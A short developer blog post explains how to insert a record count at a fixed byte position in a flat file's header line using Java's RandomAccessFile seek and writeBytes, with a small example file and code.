One day, I got a request on my dev to modify a rule at the header that i need to count all lines of detail and put in in the header line in one position (position 27),
1. I don't want to execute count all queries of detail to find the record as we can count it when each query extract data so that we can reduce some cost of performance issue.
2. And we should not keep all lines of detail in StringBuffer or String or in list or map and after finish iterate them to write into file from header and then the details (this way we can count the record lines till queries of detail finished and then add it to header as normal), this solution for sure, we will meet OutOfMemory Exception for hug amount of data.
3. So the only solution to write the lines of header and details as normal but try to integrate the record count value to the header line in written file which should not rewrite the new file by read from the written file (performance issue!)..

With solution 3/ above, I got the way with RandomAccessFile functionality: Seeking the byte position of records and after the position integrate the value we prefer.
As my file is fixed length file, and the field to add is at position 27 so the end position of it is 26, here is example:


file.txt: 1 line header and 12 lines of detail:
000000000005400000221020080        98136
...

I need to add value: 12 to the position 27, here is the code:


/**
* @param args
* @throws IOException
*/
public static void main(String[] args) throws IOException {
   RandomAccessFile reReadWriteFile = null;
   try {
       reReadWriteFile = 
              new RandomAccessFile("file.txt", "rw");
   } catch (FileNotFoundException e) {
       System.out.println("Error: " + e.getMessage());
       throw e;
   }
       
   try {
       // To search on 26 bytes of field total detail lines 
       // at header line
       reReadWriteFile.seek(26);
       reReadWriteFile.writeBytes("12");
       reReadWriteFile.close();
   } catch (IOException e) {
       System.out.println("Error: " + e.getMessage()); 
       throw e;
   }
}

After execute, file.txt: will be


0000000000054000002210200812       98136
...

Hope it helps you!
Metrey,

Learning Tip: API of RandomAccessFile